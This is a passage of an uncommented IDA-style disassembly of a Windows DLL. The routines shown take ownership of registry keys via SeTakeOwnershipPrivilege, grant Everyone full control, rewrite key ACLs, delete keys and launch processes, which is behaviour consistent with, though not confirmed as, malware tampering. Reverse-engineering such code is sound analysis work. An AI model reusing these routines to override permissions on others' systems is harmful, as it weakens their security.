		jz	short loc_9A6A00
		push	[ebp+hMem]	; hMem
		call	GlobalFree


loc_9A6A00:				; CODE XREF: sub_9A68CA+12Bj
		cmp	[ebp+pSid], ebx
		jz	short loc_9A6A0E
		push	[ebp+pSid]	; pSid
		call	FreeSid


loc_9A6A0E:				; CODE XREF: sub_9A68CA+139j
		mov	eax, [ebp+var_38]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A68CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A6A21(LPSTR lpCommandLine,int)

sub_9A6A21	proc near		; CODE XREF: sub_9A7214+D5p

StartupInfo	= _STARTUPINFOA	ptr -54h
hObject		= _PROCESS_INFORMATION ptr -10h
lpCommandLine	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	esi
		push	edi
		xor	edx, edx
		xor	eax, eax
		mov	[ebp+hObject.hProcess],	edx
		push	10h
		lea	edi, [ebp+hObject.hThread]
		stosd
		stosd
		stosd
		pop	ecx
		xor	eax, eax
		mov	[ebp+StartupInfo.cb], 44h
		lea	edi, [ebp+StartupInfo.lpReserved]
		rep stosd
		mov	eax, [ebp+arg_4]
		xor	edi, edi
		inc	edi
		xor	esi, esi
		neg	eax
		sbb	eax, eax
		and	eax, 5
		mov	[ebp+StartupInfo.wShowWindow], ax
		lea	eax, [ebp+hObject]
		push	eax		; lpProcessInformation
		lea	eax, [ebp+StartupInfo]
		push	eax		; lpStartupInfo
		push	edx		; lpCurrentDirectory
		push	edx		; lpEnvironment
		push	edx		; dwCreationFlags
		push	edx		; bInheritHandles
		push	edx		; lpThreadAttributes
		push	edx		; lpProcessAttributes
		push	[ebp+lpCommandLine] ; lpCommandLine
		mov	[ebp+StartupInfo.dwFlags], edi
		push	edx		; lpApplicationName
		call	CreateProcessA
		test	eax, eax
		jz	short loc_9A6A8B
		push	[ebp+hObject.hProcess] ; hObject
		mov	esi, CloseHandle
		call	esi ; CloseHandle
		push	[ebp+hObject.hThread] ;	hObject
		call	esi ; CloseHandle
		mov	esi, edi


loc_9A6A8B:				; CODE XREF: sub_9A6A21+56j
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_9A6A21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A6A91	proc near		; CODE XREF: sub_9A3C63+123p

pSid1		= dword	ptr -2Ch
var_28		= dword	ptr -28h
hObject		= dword	ptr -24h
ReturnLength	= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
pSid		= dword	ptr -14h
pSid2		= dword	ptr -10h
pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_9B8788
		xor	eax, ebp
		push	ebx
		mov	[ebp+var_4], eax
		lea	eax, [ebp+hObject]
		push	eax		; TokenHandle
		xor	ebx, ebx
		push	8		; DesiredAccess
		mov	[ebp+var_1C], ebx
		call	GetCurrentProcess
		push	eax		; ProcessHandle
		call	OpenProcessToken
		test	eax, eax
		jz	loc_9A6BDB
		push	esi
		mov	esi, GetTokenInformation
		lea	eax, [ebp+ReturnLength]
		push	eax		; ReturnLength
		push	ebx		; TokenInformationLength
		push	ebx		; TokenInformation
		push	2		; TokenInformationClass
		push	[ebp+hObject]	; TokenHandle
		call	esi ; GetTokenInformation
		test	eax, eax
		jnz	loc_9A6BD1
		call	GetLastError
		cmp	eax, 7Ah
		jnz	loc_9A6BD1
		push	edi
		push	[ebp+ReturnLength] ; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_9A6BD0
		lea	eax, [ebp+ReturnLength]
		push	eax		; ReturnLength
		push	[ebp+ReturnLength] ; TokenInformationLength
		push	edi		; TokenInformation
		push	2		; TokenInformationClass
		push	[ebp+hObject]	; TokenHandle
		call	esi ; GetTokenInformation
		test	eax, eax
		jz	loc_9A6BC9
		mov	esi, AllocateAndInitializeSid
		lea	eax, [ebp+pSid2]
		push	eax		; pSid
		push	ebx		; nSubAuthority7
		push	ebx		; nSubAuthority6
		push	ebx		; nSubAuthority5
		push	ebx		; nSubAuthority4
		push	ebx		; nSubAuthority3
		push	ebx		; nSubAuthority2
		push	ebx		; nSubAuthority1
		push	4		; nSubAuthority0
		push	1		; nSubAuthorityCount
		lea	eax, [ebp+pIdentifierAuthority]
		push	eax		; pIdentifierAuthority
		mov	[ebp+pSid2], ebx
		mov	[ebp+pSid], ebx
		mov	[ebp+pIdentifierAuthority.Value], bl
		mov	[ebp+pIdentifierAuthority.Value+1], bl
		mov	[ebp+pIdentifierAuthority.Value+2], bl
		mov	[ebp+pIdentifierAuthority.Value+3], bl
		mov	[ebp+pIdentifierAuthority.Value+4], bl
		mov	[ebp+pIdentifierAuthority.Value+5], 5
		call	esi ; AllocateAndInitializeSid
		lea	eax, [ebp+pSid]
		push	eax		; pSid
		push	ebx		; nSubAuthority7
		push	ebx		; nSubAuthority6
		push	ebx		; nSubAuthority5
		push	ebx		; nSubAuthority4
		push	ebx		; nSubAuthority3
		push	ebx		; nSubAuthority2
		push	ebx		; nSubAuthority1
		push	6		; nSubAuthority0
		push	1		; nSubAuthorityCount
		lea	eax, [ebp+pIdentifierAuthority]
		push	eax		; pIdentifierAuthority
		call	esi ; AllocateAndInitializeSid
		cmp	[edi], ebx
		mov	[ebp+var_1C], 1
		mov	[ebp+var_18], ebx
		jbe	short loc_9A6BAF
		lea	esi, [edi+4]


loc_9A6B74:				; CODE XREF: sub_9A6A91+117j
		mov	eax, [esi]
		push	[ebp+pSid2]	; pSid2
		mov	ecx, [esi+4]
		push	eax		; pSid1
		mov	[ebp+pSid1], eax
		mov	[ebp+var_28], ecx
		call	EqualSid
		test	eax, eax
		jnz	short loc_9A6BAC
		push	[ebp+pSid]	; pSid2
		push	[ebp+pSid1]	; pSid1
		call	EqualSid
		test	eax, eax
		jnz	short loc_9A6BAF
		inc	[ebp+var_18]
		mov	eax, [ebp+var_18]
		add	esi, 8
		cmp	eax, [edi]
		jb	short loc_9A6B74
		jmp	short loc_9A6BAF
; ---------------------------------------------------------------------------


loc_9A6BAC:				; CODE XREF: sub_9A6A91+FAj
		mov	[ebp+var_1C], ebx


loc_9A6BAF:				; CODE XREF: sub_9A6A91+DEj
					; sub_9A6A91+10Aj ...
		cmp	[ebp+pSid], ebx
		mov	esi, FreeSid
		jz	short loc_9A6BBF
		push	[ebp+pSid]	; pSid
		call	esi ; FreeSid


loc_9A6BBF:				; CODE XREF: sub_9A6A91+127j
		cmp	[ebp+pSid2], ebx
		jz	short loc_9A6BC9
		push	[ebp+pSid2]	; pSid
		call	esi ; FreeSid


loc_9A6BC9:				; CODE XREF: sub_9A6A91+83j
					; sub_9A6A91+131j
		push	edi		; hMem
		call	GlobalFree


loc_9A6BD0:				; CODE XREF: sub_9A6A91+6Cj
		pop	edi


loc_9A6BD1:				; CODE XREF: sub_9A6A91+47j
					; sub_9A6A91+56j
		push	[ebp+hObject]	; hObject
		call	CloseHandle
		pop	esi


loc_9A6BDB:				; CODE XREF: sub_9A6A91+2Bj
		mov	ecx, [ebp+var_4]
		mov	eax, [ebp+var_1C]
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		leave
		retn
sub_9A6A91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A6BEB	proc near		; CODE XREF: sub_9A6CF7+8Ap

pSecurityDescriptor= byte ptr -50h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
hKey		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
pSid		= dword	ptr -28h
pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY	ptr -24h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	40h
		push	offset stru_9A2AC0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+hKey], eax
		xor	ebx, ebx
		mov	[ebp+var_30], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+pSid], ebx
		mov	[ebp+ms_exc.disabled], ebx
		mov	[ebp+pIdentifierAuthority.Value], bl
		mov	[ebp+pIdentifierAuthority.Value+1], bl
		mov	[ebp+pIdentifierAuthority.Value+2], bl
		mov	[ebp+pIdentifierAuthority.Value+3], bl
		mov	[ebp+pIdentifierAuthority.Value+4], bl
		mov	[ebp+pIdentifierAuthority.Value+5], 5
		lea	eax, [ebp+pSid]
		push	eax		; pSid
		push	ebx		; nSubAuthority7
		push	ebx		; nSubAuthority6
		push	ebx		; nSubAuthority5
		push	ebx		; nSubAuthority4
		push	ebx		; nSubAuthority3
		push	ebx		; nSubAuthority2
		push	ebx		; nSubAuthority1
		push	12h		; nSubAuthority0
		push	1		; nSubAuthorityCount
		lea	eax, [ebp+pIdentifierAuthority]
		push	eax		; pIdentifierAuthority
		call	AllocateAndInitializeSid
		push	[ebp+pSid]	; pSid
		call	GetLengthSid
		mov	esi, eax
		add	esi, 10h
		mov	[ebp+var_38], esi
		push	esi		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, ebx
		jz	short loc_9A6CB5
		push	2		; dwAclRevision
		push	esi		; nAclLength
		push	edi		; pAcl
		call	InitializeAcl
		push	[ebp+pSid]	; pSid
		push	20019h		; AccessMask
		push	2		; dwAceRevision
		push	edi		; pAcl
		call	AddAccessAllowedAce
		push	1		; dwRevision
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		call	InitializeSecurityDescriptor
		push	ebx		; bDaclDefaulted
		push	edi		; pDacl
		push	1		; bDaclPresent
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		call	SetSecurityDescriptorDacl
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		push	4		; SecurityInformation
		push	[ebp+hKey]	; hKey
		call	RegSetKeySecurity
		mov	[ebp+var_3C], eax
		xor	ecx, ecx
		cmp	eax, ebx
		setz	cl
		mov	[ebp+var_30], ecx


loc_9A6CB5:				; CODE XREF: sub_9A6BEB+77j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_9A6CCB
; ---------------------------------------------------------------------------


loc_9A6CBB:				; DATA XREF: .text:stru_9A2AC0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A6CBF:				; DATA XREF: .text:stru_9A2AC0o
		mov	esp, [ebp+ms_exc.old_esp]
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	ebx, ebx
		mov	edi, [ebp+var_2C]


loc_9A6CCB:				; CODE XREF: sub_9A6BEB+CEj
		cmp	edi, ebx
		jz	short loc_9A6CD6
		push	edi		; hMem
		call	GlobalFree


loc_9A6CD6:				; CODE XREF: sub_9A6BEB+E2j
		cmp	[ebp+pSid], ebx
		jz	short loc_9A6CE4
		push	[ebp+pSid]	; pSid
		call	FreeSid


loc_9A6CE4:				; CODE XREF: sub_9A6BEB+EEj
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A6BEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=198h

; int __cdecl sub_9A6CF7(HKEY hKey)

sub_9A6CF7	proc near		; CODE XREF: sub_9A6CF7+5Ap
					; sub_9A7B42+27Ap

phkResult	= dword	ptr -218h
cchName		= dword	ptr -214h
dwIndex		= dword	ptr -210h
Name		= word ptr -20Ch
var_4		= dword	ptr -4
hKey		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-198h]
		sub	esp, 218h
		mov	eax, dword_9B8788
		push	ebx
		mov	ebx, [ebp+198h+hKey]
		push	esi
		push	edi
		mov	edi, RegEnumKeyExW
		xor	eax, ebp
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		mov	[ebp+198h+var_4], eax
		push	esi
		lea	eax, [ebp+198h+cchName]
		push	eax
		lea	eax, [ebp+198h+Name]
		push	eax
		mov	[ebp+198h+dwIndex], esi
		push	esi
		jmp	short loc_9A6D72
; ---------------------------------------------------------------------------


loc_9A6D35:				; CODE XREF: sub_9A6CF7+87j
		lea	eax, [ebp+198h+phkResult]
		push	eax		; phkResult
		push	0F003Fh		; samDesired
		push	esi		; ulOptions
		lea	eax, [ebp+198h+Name]
		push	eax		; lpSubKey
		push	ebx		; hKey
		call	RegOpenKeyExW
		test	eax, eax
		jnz	short loc_9A6D60
		push	[ebp+198h+phkResult] ; hKey
		call	sub_9A6CF7
		pop	ecx
		push	[ebp+198h+phkResult] ; hKey
		call	RegCloseKey


loc_9A6D60:				; CODE XREF: sub_9A6CF7+55j
		inc	[ebp+198h+dwIndex]
		push	esi		; lpftLastWriteTime
		push	esi		; lpcchClass
		push	esi		; lpClass
		push	esi		; lpReserved
		lea	eax, [ebp+198h+cchName]
		push	eax		; lpcchName
		lea	eax, [ebp+198h+Name]
		push	eax		; lpName
		push	[ebp+198h+dwIndex] ; dwIndex


loc_9A6D72:				; CODE XREF: sub_9A6CF7+3Cj
		push	ebx		; hKey
		mov	[ebp+198h+cchName], 104h
		call	edi ; RegEnumKeyExW
		test	eax, eax
		jz	short loc_9A6D35
		push	ebx
		call	sub_9A6BEB
		pop	ecx
		mov	ecx, [ebp+198h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 198h
		leave
		retn
sub_9A6CF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A6D9F(HANDLE	TokenHandle,TOKEN_INFORMATION_CLASS TokenInformationClass)

sub_9A6D9F	proc near		; CODE XREF: sub_9A6DFC+23p

Size		= dword	ptr -4
TokenHandle	= dword	ptr  8
TokenInformationClass= dword ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, GetTokenInformation
		push	edi
		lea	eax, [ebp+Size]
		push	eax		; ReturnLength
		push	0		; TokenInformationLength
		push	0		; TokenInformation
		push	[ebp+TokenInformationClass] ; TokenInformationClass
		push	[ebp+TokenHandle] ; TokenHandle
		call	esi ; GetTokenInformation
		test	eax, eax
		jnz	short loc_9A6DF6
		call	GetLastError
		cmp	eax, 7Ah
		jnz	short loc_9A6DF6
		push	[ebp+Size]	; Size
		call	malloc
		pop	ecx
		mov	edi, eax
		lea	eax, [ebp+Size]
		push	eax		; ReturnLength
		push	[ebp+Size]	; TokenInformationLength
		push	edi		; TokenInformation
		push	[ebp+TokenInformationClass] ; TokenInformationClass
		push	[ebp+TokenHandle] ; TokenHandle
		call	esi ; GetTokenInformation
		test	eax, eax
		jz	short loc_9A6DEE
		mov	eax, edi
		jmp	short loc_9A6DF8
; ---------------------------------------------------------------------------


loc_9A6DEE:				; CODE XREF: sub_9A6D9F+49j
		push	edi		; Memory
		call	free
		pop	ecx


loc_9A6DF6:				; CODE XREF: sub_9A6D9F+1Ej
					; sub_9A6D9F+29j
		xor	eax, eax


loc_9A6DF8:				; CODE XREF: sub_9A6D9F+4Dj
		pop	edi
		pop	esi
		leave
		retn
sub_9A6D9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A6DFC	proc near		; CODE XREF: sub_9A6E36+12p

TokenHandle	= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		lea	eax, [ebp+TokenHandle]
		push	eax		; TokenHandle
		push	18h		; DesiredAccess
		xor	esi, esi
		call	GetCurrentProcess
		push	eax		; ProcessHandle
		call	OpenProcessToken
		test	eax, eax
		jz	short loc_9A6E31
		push	1		; TokenInformationClass
		push	[ebp+TokenHandle] ; TokenHandle
		call	sub_9A6D9F
		pop	ecx
		pop	ecx
		push	[ebp+TokenHandle] ; hObject
		mov	esi, eax
		call	CloseHandle


loc_9A6E31:				; CODE XREF: sub_9A6DFC+1Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_9A6DFC	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A6E36(LPWSTR	pObjectName,SE_OBJECT_TYPE ObjectType)

sub_9A6E36	proc near		; CODE XREF: sub_9A6E7C+2Bp

pObjectName	= dword	ptr  4
ObjectType	= dword	ptr  8

		push	esi
		push	edi
		push	1		; int
		push	offset aSetakeownershi ; "SeTakeOwnershipPrivilege"
		xor	esi, esi
		call	sub_9A5DFA
		pop	ecx
		pop	ecx
		call	sub_9A6DFC
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_9A6E77
		push	esi		; pSacl
		push	esi		; pDacl
		push	esi		; psidGroup
		push	dword ptr [edi]	; psidOwner
		push	1		; SecurityInfo
		push	[esp+1Ch+ObjectType] ; ObjectType
		push	[esp+20h+pObjectName] ;	pObjectName
		call	SetNamedSecurityInfoW
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		push	edi		; Memory
		inc	esi
		call	free
		pop	ecx


loc_9A6E77:				; CODE XREF: sub_9A6E36+1Bj
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_9A6E36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A6E7C	proc near		; CODE XREF: sub_9A7001+3Bp

pListOfExplicitEntries=	_EXPLICIT_ACCESS_W ptr -54h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
pSid		= dword	ptr -2Ch
hMem		= dword	ptr -28h
pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY	ptr -24h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	44h
		push	offset stru_9A2AE8
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		mov	esi, ecx
		mov	edi, edx
		xor	ebx, ebx
		mov	[ebp+var_30], ebx
		mov	[ebp+hMem], ebx
		mov	[ebp+pSid], ebx
		mov	[ebp+ms_exc.disabled], ebx
		push	4		; ObjectType
		push	edi		; pObjectName
		call	sub_9A6E36
		pop	ecx
		pop	ecx
		mov	[ebp+pIdentifierAuthority.Value], bl
		mov	[ebp+pIdentifierAuthority.Value+1], bl
		mov	[ebp+pIdentifierAuthority.Value+2], bl
		mov	[ebp+pIdentifierAuthority.Value+3], bl
		mov	[ebp+pIdentifierAuthority.Value+4], bl
		mov	[ebp+pIdentifierAuthority.Value+5], 1
		lea	eax, [ebp+pSid]
		push	eax		; pSid
		push	ebx		; nSubAuthority7
		push	ebx		; nSubAuthority6
		push	ebx		; nSubAuthority5
		push	ebx		; nSubAuthority4
		push	ebx		; nSubAuthority3
		push	ebx		; nSubAuthority2
		push	ebx		; nSubAuthority1
		push	ebx		; nSubAuthority0
		push	1		; nSubAuthorityCount
		lea	eax, [ebp+pIdentifierAuthority]
		push	eax		; pIdentifierAuthority
		call	AllocateAndInitializeSid
		test	eax, eax
		jz	short loc_9A6F40
		mov	[ebp+pListOfExplicitEntries.grfAccessPermissions], 10000000h
		mov	[ebp+pListOfExplicitEntries.grfAccessMode], 2
		neg	esi
		sbb	esi, esi
		and	esi, 3
		mov	[ebp+pListOfExplicitEntries.grfInheritance], esi
		mov	[ebp+pListOfExplicitEntries.Trustee.TrusteeForm], ebx
		mov	[ebp+pListOfExplicitEntries.Trustee.TrusteeType], 5
		mov	eax, [ebp+pSid]
		mov	[ebp+pListOfExplicitEntries.Trustee.ptstrName],	eax
		lea	eax, [ebp+hMem]
		push	eax		; NewAcl
		push	ebx		; OldAcl
		lea	eax, [ebp+pListOfExplicitEntries]
		push	eax		; pListOfExplicitEntries
		push	1		; cCountOfExplicitEntries
		call	SetEntriesInAclW
		mov	[ebp+var_34], eax
		cmp	eax, ebx
		jnz	short loc_9A6F40
		cmp	[ebp+hMem], ebx
		jz	short loc_9A6F40
		push	ebx		; pSacl
		push	[ebp+hMem]	; pDacl
		push	ebx		; psidGroup
		push	ebx		; psidOwner
		push	4		; SecurityInfo
		push	4		; ObjectType
		push	edi		; pObjectName
		call	SetNamedSecurityInfoW
		mov	[ebp+var_34], eax
		xor	ecx, ecx
		cmp	eax, ebx
		setz	cl
		mov	[ebp+var_30], ecx


loc_9A6F40:				; CODE XREF: sub_9A6E7C+5Fj
					; sub_9A6E7C+9Fj ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	nullsub_4
		cmp	[ebp+hMem], ebx
		jz	short loc_9A6F57
		push	[ebp+hMem]	; hMem
		call	LocalFree


loc_9A6F57:				; CODE XREF: sub_9A6E7C+D0j
		cmp	[ebp+pSid], ebx
		jz	short loc_9A6F65
		push	[ebp+pSid]	; pSid
		call	FreeSid


loc_9A6F65:				; CODE XREF: sub_9A6E7C+DEj
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A6E7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A6F78	proc near		; DATA XREF: .text:stru_9A2AE8o
		xor	ebx, ebx
sub_9A6F78	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A6F7B	proc near		; CODE XREF: sub_9A7001+2Bp
					; sub_9A706C+35p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		xor	edx, edx
		cmp	esi, edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], 80000000h
		mov	[ebp+var_20], offset aClasses_root ; "CLASSES_ROOT"
		mov	[ebp+var_1C], 80000001h
		mov	[ebp+var_18], offset aCurrent_user ; "CURRENT_USER"
		mov	[ebp+var_14], 80000002h
		mov	[ebp+var_10], offset aMachine ;	"MACHINE"
		mov	[ebp+var_C], 80000003h
		mov	[ebp+var_8], offset aUsers ; "USERS"
		jz	short loc_9A6FFC
		xor	ecx, ecx


loc_9A6FC4:				; CODE XREF: sub_9A6F7B+5Aj
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+edx*8+var_24]
		jnz	short loc_9A6FD1
		mov	ecx, [ebp+edx*8+var_20]


loc_9A6FD1:				; CODE XREF: sub_9A6F7B+50j
		inc	edx
		cmp	edx, 4
		jb	short loc_9A6FC4
		test	ecx, ecx
		jz	short loc_9A6FFC
		push	[ebp+arg_4]
		push	ecx
		push	offset aSS	; "%s\\%s"
		push	esi		; Count
		push	edi		; Dest
		call	_snwprintf
		add	esp, 14h
		and	word ptr [edi+esi*2-2],	0
		mov	[ebp+var_4], 1


loc_9A6FFC:				; CODE XREF: sub_9A6F7B+45j
					; sub_9A6F7B+5Ej
		mov	eax, [ebp+var_4]
		leave
		retn
sub_9A6F7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A7001	proc near		; CODE XREF: sub_9A4207+5Dp
					; sub_9A4358+140p ...

var_20C		= byte ptr -20Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		mov	eax, dword_9B8788
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		xor	eax, ebp
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ecx
		push	eax
		mov	esi, 104h
		lea	edi, [ebp+var_20C]
		xor	ebx, ebx
		call	sub_9A6F7B
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A7043
		mov	ecx, [ebp+arg_8]
		mov	edx, edi
		call	sub_9A6E7C
		mov	ebx, eax


loc_9A7043:				; CODE XREF: sub_9A7001+34j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		mov	eax, ebx
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		leave
		retn
sub_9A7001	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A7054	proc near		; CODE XREF: sub_9A3A68:loc_9A3AC8p
		call	GetVersion
		cmp	al, 6
		ja	short loc_9A7068
		jnz	short loc_9A7065
		cmp	ah, 1
		jnb	short loc_9A7068


loc_9A7065:				; CODE XREF: sub_9A7054+Aj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_9A7068:				; CODE XREF: sub_9A7054+8j
					; sub_9A7054+Fj
		xor	eax, eax
		inc	eax
		retn
sub_9A7054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A706C(int,int,PSID *ppsidOwner,int)

sub_9A706C	proc near		; CODE XREF: sub_9A4358+137p
					; sub_9A471B+4Ap ...

ppDacl		= dword	ptr -210h
pObjectName	= word ptr -20Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
ppsidOwner	= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		mov	eax, dword_9B8788
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_C]
		push	ebx
		mov	ebx, [ebp+ppsidOwner]
		push	esi
		xor	eax, ebp
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ecx
		push	eax
		mov	esi, 104h
		lea	edi, [ebp+pObjectName]
		mov	[ebp+ppDacl], edx
		call	sub_9A6F7B
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A70CE
		xor	eax, eax
		push	eax		; ppSecurityDescriptor
		push	eax		; ppSacl
		push	[ebp+ppDacl]	; ppDacl
		push	eax		; ppsidGroup
		push	ebx		; ppsidOwner
		push	5		; SecurityInfo
		push	4		; ObjectType
		lea	eax, [ebp+pObjectName]
		push	eax		; pObjectName
		call	GetNamedSecurityInfoW
		neg	eax
		sbb	eax, eax
		inc	eax


loc_9A70CE:				; CODE XREF: sub_9A706C+3Ej
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		leave
		retn
sub_9A706C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A70DD(int,int,PSID psidOwner,int)

sub_9A70DD	proc near		; CODE XREF: sub_9A4358+394p
					; sub_9A471B+211p ...

pDacl		= dword	ptr -210h
pObjectName	= word ptr -20Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
psidOwner	= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		mov	eax, dword_9B8788
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_C]
		push	ebx
		mov	ebx, [ebp+psidOwner]
		push	esi
		xor	eax, ebp
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ecx
		push	eax
		mov	esi, 104h
		lea	edi, [ebp+pObjectName]
		mov	[ebp+pDacl], edx
		call	sub_9A6F7B
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A713E
		push	0		; pSacl
		push	[ebp+pDacl]	; pDacl
		lea	eax, [ebp+pObjectName]
		push	0		; psidGroup
		push	ebx		; psidOwner
		push	5		; SecurityInfo
		push	4		; ObjectType
		push	eax		; pObjectName
		call	SetNamedSecurityInfoW
		neg	eax
		sbb	eax, eax
		inc	eax


loc_9A713E:				; CODE XREF: sub_9A70DD+3Ej
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		leave
		retn
sub_9A70DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_9A714D	proc near		; CODE XREF: sub_9AAAC1-1Dp
		push	0		; dwExitCode
		call	ExitThread
sub_9A714D	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A7156(HKEY hkey,LPCWSTR pszSubKey)

sub_9A7156	proc near		; CODE XREF: sub_9A39CF+66p
					; sub_9A39CF+71p

hkey		= dword	ptr  4
pszSubKey	= dword	ptr  8

		push	1
		push	[esp+4+pszSubKey]
		push	[esp+8+hkey]
		call	sub_9A7001
		add	esp, 0Ch
		push	[esp+pszSubKey]	; pszSubKey
		push	[esp+4+hkey]	; hkey
		call	SHDeleteKeyW
		retn
sub_9A7156	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A7177	proc near		; CODE XREF: DllMain(x,x,x)+42p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset stru_9A2B58
		call	__SEH_prolog
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+3Ch]
		cmp	eax, 1000h
		jg	short loc_9A71A3
		add	eax, ecx
		mov	[ebp+var_20], eax
		mov	eax, [eax+50h]
		mov	[ebp+var_1C], eax


